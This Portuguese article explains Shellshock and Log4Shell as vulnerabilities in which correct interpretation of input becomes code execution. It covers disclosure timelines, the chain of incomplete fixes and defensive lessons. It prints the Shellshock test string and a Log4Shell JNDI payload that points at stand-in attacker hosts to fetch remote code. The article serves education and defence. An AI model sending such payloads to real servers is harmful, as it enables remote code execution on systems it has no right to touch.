O formato
A maior parte das vulnerabilidades deste catálogo são erros: um estouro de buffer, uma verificação que falta, uma máquina de estados que aceita uma mensagem duas vezes. Este artigo é sobre uma classe diferente e mais desconfortável, em que nada está quebrado. Um componente recebe uma cadeia de caracteres, a interpreta como foi projetado para interpretar, e a interpretação é execução de código - porque a cadeia veio de alguém que o projetista nunca imaginou.
Dois deles são os exemplos canônicos, com sete anos de diferença, e valem ser lidos juntos porque o formato é idêntico.
Shellshock, 2014
O bash tem um recurso para passar funções de shell a processos filhos: ele as codifica em variáveis de ambiente, e um bash filho lê a variável e define a função. Razoável, documentado, usado.
O defeito era que o bash não parava no fim da definição da função. Qualquer coisa escrita depois também era interpretada e executada. Escrita por extenso, a vulnerabilidade inteira cabe numa linha:
env='() { :;}; echo VULNERAVEL' bash -c ':'
A primeira parte é uma função vazia e válida. O ponto e vírgula a encerra. Tudo depois roda.
Por si só isso seria uma curiosidade, porque definir uma variável de ambiente em geral exige já estar na máquina. O que fez daquilo uma catástrofe é a outra ponta. Servidores web que rodam scripts CGI (Common Gateway Interface) passam os cabeçalhos da requisição HTTP ao programa como variáveis de ambiente. O User-Agent que um navegador manda vira variável de ambiente, e se o programa for um script de shell, o bash o lê. Um atacante remoto e não autenticado podia, portanto, rodar comandos num servidor web escolhendo o que pôr num cabeçalho. O mesmo mecanismo alcançava o recurso de comando forçado do OpenSSH, clientes e servidores de correio.
Stéphane Chazelas o reportou ao mantenedor do bash em 12 de setembro de 2014, e foi publicado no dia 24 como -2014-6271, quando as correções estavam prontas. A análise do código sugeriu que o comportamento estava no bash desde por volta de 1992. Vinte e dois anos, num dos programas mais implantados que existem, em código que milhares de pessoas tinham lido.
Cinco outros identificadores CVE vieram em dias, porque a primeira correção era incompleta.
Log4Shell, 2021
O Log4j é a biblioteca de registro que a maioria das aplicações Java usa. Em algum ponto da sua história ela ganhou um recurso de substituição: certos padrões dentro de uma cadeia registrada são resolvidos e substituídos. Uma das resoluções suportadas era o JNDI (Java Naming and Directory Interface) - que consegue buscar um objeto num serviço de diretório remoto - um servidor (Lightweight Directory Access Protocol), tipicamente - e, tendo buscado, carregá-lo.
Então um atacante manda uma cadeia:
${jndi:ldap://atacante.exemplo/a}
e só precisa que uma aplicação vulnerável a registre. Não processe, não confie, não valide - registre. A biblioteca vê o padrão, contata o servidor do atacante, baixa uma classe Java e a executa.
A razão de essa ter sido a vulnerabilidade de pior classificação em anos é o que as aplicações registram. Um login recusado. Uma requisição malformada. Um cabeçalho User-Agent. Um nome de usuário que falhou na validação. A única coisa que toda aplicação faz com entrada em que não confia é escrevê-la num log, na suposição de que registrar algo é inerte. Não é; e muito software registra entrada não confiável justamente porque ela pareceu suspeita.
Chen Zhaojun, da equipe de segurança da nuvem da Alibaba, o reportou à Apache Software Foundation em 24 de novembro de 2021; foi corrigido e tornado público em 9 de dezembro, recebeu a nota máxima de 10,0, e estava sendo explorado imediatamente. A redação da própria Fundação é precisa: nas versões até a 2.14.1, os recursos JNDI usados em configuração, mensagens de log e parâmetros não protegiam contra endpoints controlados pelo atacante, e quem pudesse controlar mensagens de log podia executar código carregado de um servidor remoto.
E então a cadeia de correções, que é uma lição por si só. A versão 2.15.0 só corrigiu parcialmente. A 2.16.0 corrigiu o que a 2.15.0 deixou passar e desligou a resolução por padrão, mas introduziu uma falha de negação de serviço. Só na 2.17.1 aquilo assentou. Quem corrigiu uma vez e seguiu adiante continuava exposto - o mesmo padrão que os avisos subsequentes da Ivanti mostram, em que uma segunda e uma terceira falha indicaram que o fabricante ainda não entendia a própria superfície de ataque.
Por que esta classe é diferente
Fuzzing não acha. O modo padrão de caçar erros de memória é jogar entrada malformada num programa e observar se ele trava. Nenhum dos dois trava. O bash interpreta a variável com sucesso. O Log4j resolve a substituição com sucesso. O software se comporta corretamente, e o comportamento correto é o exploit. O artigo sobre segurança de memória descreve a classe de erro em que as ferramentas automáticas são boas; esta é a classe a que elas são cegas.
Revisão de código também não acha de forma confiável, porque cada metade é defensável isoladamente. Exportar funções pelo ambiente é um recurso. Substituir valores em mensagens de log é um recurso. Passar cabeçalhos HTTP a programas CGI como variáveis de ambiente é uma especificação. A vulnerabilidade existe só na junção, e a junção em geral atravessa uma fronteira que ninguém possui - entre o shell e o servidor web, entre a aplicação e a biblioteca com que ela registra.
E é um problema de cadeia de suprimento por construção. Quase ninguém que estava exposto ao tinha ouvido falar do recurso de resolução, porque quase ninguém escolheu o Log4j diretamente; ele chegou como dependência de uma dependência. A pergunta "nós usamos Log4j" se revelou, para a maioria das organizações, genuinamente difícil de responder em dezembro de 2021, e essa dificuldade é a razão de as listas de materiais de software deixarem de ser exercício de conformidade e virarem exercício operacional.
O tema recorrente
Este catálogo chega sempre ao mesmo lugar por caminhos diferentes. O Melissa não explorou vulnerabilidade nenhuma: macros do Word rodando automaticamente e o Outlook ser roteirizável eram funcionalidades. O Mirai não explorou vulnerabilidade nenhuma: fez login com credenciais de fábrica. e Log4Shell são a mesma observação aplicada a bibliotecas em vez de produtos.
A conclusão desconfortável é que as falhas mais danosas frequentemente não são erros, e portanto não são alcançáveis pelas atividades que acham erros. São consequência de uma capacidade encontrando uma entrada para a qual nunca foi dimensionada, e a defesa não é código melhor, e sim capacidade mais estreita: recursos desligados por padrão, interpretação desabilitada a menos que seja pedida, e uma resposta clara para a pergunta de o que, exatamente, tem permissão de interpretar uma cadeia vinda de fora.
O que um profissional deve tirar disso
Saiba o que interpreta. Para qualquer componente que trate entrada externa, pergunte o que ele faz com o conteúdo, e não com o tamanho. Um registrador de logs, um motor de modelos, um nome de arquivo, um interpretador de configuração e uma consulta de busca são todos interpretadores, e cada um é candidato a essa falha.
Trate o log como superfície de ataque. É o caminho de dados menos suspeitado da maioria dos sistemas e toca os dados menos confiáveis. Qualquer coisa que expanda, resolva ou renderize um valor registrado é risco, e o log estruturado, que armazena valores em vez de interpolá-los, remove a maior parte do perigo.
Suponha que a primeira correção não é a última. Os dois casos precisaram de várias. Quando um aviso é dessa gravidade, o plano correto inclui reconferir a versão uma semana depois.
E mantenha a pergunta sobre dependências respondível de antemão. As organizações que lidaram bem com dezembro de 2021 não eram as que tinham produtos de segurança melhores; eram as que conseguiam produzir, numa tarde, a lista de toda aplicação que continha uma dada biblioteca. Isso é um problema de inventário, e é solúvel antes da emergência, não durante.
Fontes
- Wikipedia, Shellshock: uma família de falhas de segurança no GNU Bash, a primeira divulgada em 24 de setembro de 2014; Stéphane Chazelas informou o mantenedor do Bash, Chet Ramey, em 12 de setembro, sobre o erro original, que ele chamou de Bashdoor, e trabalhou com especialistas numa correção; recebeu o CVE-2014-6271, seguido por CVE-2014-6277, 6278, 7169, 7186 e 7187; afetava o Bash 1.0.3 a 4.3
- Sobre o mecanismo e a cronologia: a vulnerabilidade está no Bash executar comandos ao receber valores não padrão de variáveis de ambiente; ficou sob embargo até as 14h UTC de 24 de setembro para dar tempo aos mantenedores de distribuições; a análise do código indica que foi introduzida por volta da versão 1.13, em 1992 ou antes, e permaneceu não detectada desde então
- Uma demonstração do defeito de interpretação: o Bash exporta funções como variáveis de ambiente e continua interpretando depois da definição da função, então um valor como
() { :;}; echo PWNEDexecuta o segundo comando; servidores web que usam CGI passam cabeçalhos HTTP ao Bash como variáveis de ambiente, o que faz de um cabeçalhoUser-Agentum vetor de ataque - CVE-2014-6271, conforme descrito pela CISA: o GNU Bash até a 4.3 processa cadeias finais depois de definições de função nos valores de variáveis de ambiente, permitindo a atacantes remotos executar código, demonstrado por vetores envolvendo o recurso ForceCommand do OpenSSH, os módulos mod_cgi e mod_cgid do Apache, e scripts executados por clientes DHCP
- Aviso da Red Hat: certos serviços e aplicações permitem que atacantes remotos não autenticados forneçam variáveis de ambiente, permitindo explorar a falha; a Red Hat percebeu que a correção do CVE-2014-6271 era incompleta, e malware explorando a vulnerabilidade circulou em dias
- Wikipedia, Log4Shell: CVE-2021-44228, descoberto em 24 de novembro de 2021 por Chen Zhaojun, da equipe de segurança da nuvem da Alibaba, corrigido em 9 de dezembro de 2021, afetando aplicações que registram entrada de usuário usando o Log4j 2
- Help Net Security, dezembro de 2021: reportado à Apache Software Foundation por Chen Zhaojun e corrigido na 2.15.0; CVSS 10,0; nas versões 2.14.1 e anteriores, os recursos JNDI usados em configuração, mensagens de log e parâmetros não protegem contra endpoints LDAP e outros endpoints JNDI controlados pelo atacante, e quem puder controlar mensagens de log ou seus parâmetros pode executar código arbitrário carregado de servidores LDAP quando a substituição por resolução de mensagem está habilitada
- Huntress: os atacantes criavam uma cadeia como
${jndi:ldap://attacker.com/a}e a faziam ser registrada por uma aplicação vulnerável, e então o Log4j interpretava a resolução, conectava ao servidor LDAP do atacante e baixava e executava uma classe Java; como as aplicações registram todo tipo de dado fornecido pelo usuário, como cabeçalhos User-Agent e envios de formulário, o exploit era assustadoramente simples; corrigir para a 2.15.0 era insuficiente, a 2.16.0 corrigiu o CVE-2021-45046 e desligou o JNDI por padrão mas introduziu o CVE-2021-45105, e a 2.17.1 era necessária